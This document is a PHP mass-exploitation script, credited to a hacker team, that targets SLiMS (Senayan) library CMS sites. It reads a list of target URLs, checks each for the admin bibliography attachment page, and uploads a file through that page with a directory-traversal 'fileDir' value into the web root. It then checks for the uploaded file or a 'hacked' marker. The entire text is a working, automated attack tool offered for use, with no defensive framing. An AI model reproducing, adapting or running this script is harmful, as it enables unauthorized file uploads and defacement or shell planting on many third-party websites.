SLiMS CMS Senayan Auto Upload

<?php
/*
# Mr.ToKeiChun69 from Cyberizm Digital Security Team
# Our Security Forum : cyberizm.org
# Twitter : twitter.com/kngskrplls

# your list.txt must a single directory with this exploiter #

###############################################

# This Exploit and Vulnerability was discovered by Mr.ToKeiChun69
# Thanks for All Moslem Hackers and Cyberizm Digital Security Team
# This Exploiter may sometimes couldn't work %100 because sometimes the bot don't understand the command.
#  If the command don't understand the command, please exploit it manually.

# Special thanks : All Moslem Hackers and Cyberizm Digital Security Team

#################################################
# note : Please do not remove Cyberizm copyright.


# This Exploit Coded By Mr.ToKeiChun69 from Cyberizm Digital Security Team
*/
echo "

      File Attachment Auto Exploiter - coded by Mr.ToKeiChun69

     $ Thanks for All Moslem Hackers and Cyberizm Digital Security Team

";
echo "Input your target list: ";
$list = trim(fgets(STDIN));

$shell = "changelog.txt";
$exploit = "/admin/modules/bibliography/pop_attach.php?biblioID=0";

$open = fopen("$list","r");
$size = filesize("$list");
$read = fread($open,$size);
$lists = explode("\r\n",$read);

echo "\n";

foreach($lists as $target){
    if(!preg_match("/^http:\/\//",$target) AND !preg_match("/^https:\/\//",$target)){
        $targets = "http://$target";
    }else{
        $targets = $target;
    }

    echo "Target => $targets\n";
    echo "  [*] Checking Path : ";

    $cd = curl_init("$targets$exploit");
    curl_setopt($cd, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($cd, CURLOPT_RETURNTRANSFER, 1);
    curl_exec($cd);
    $httpcode = curl_getinfo($cd, CURLINFO_HTTP_CODE);
    curl_close($cd);

    if($httpcode == 200){
        echo "200 OK\n";
        echo "  [*] Uploading shell : ";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$targets/$exploit");
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, array("fileTitle"=>"CyBeRiZM" , "fileDir"=>"../" , "file2attach"=>"@$shell" , "upload"=>"Unggah Sekarang"));
        curl_exec($ch);

        $cek = curl_init();
        curl_setopt($cek, CURLOPT_URL, "$targets/$shell");
        curl_setopt($cek, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($cek, CURLOPT_RETURNTRANSFER, 1);
        $ceek = curl_exec($cek);
        $ceeks = curl_getinfo($cek, CURLINFO_HTTP_CODE);

        if(preg_match("/hacked/",$ceek) or $ceeks == 200){
            echo "OK $targets/$shell\n";
        }else{
            echo "Failed\n\n";
        }
    }else{
        echo "Not Vulnerable\n\n";
    }
}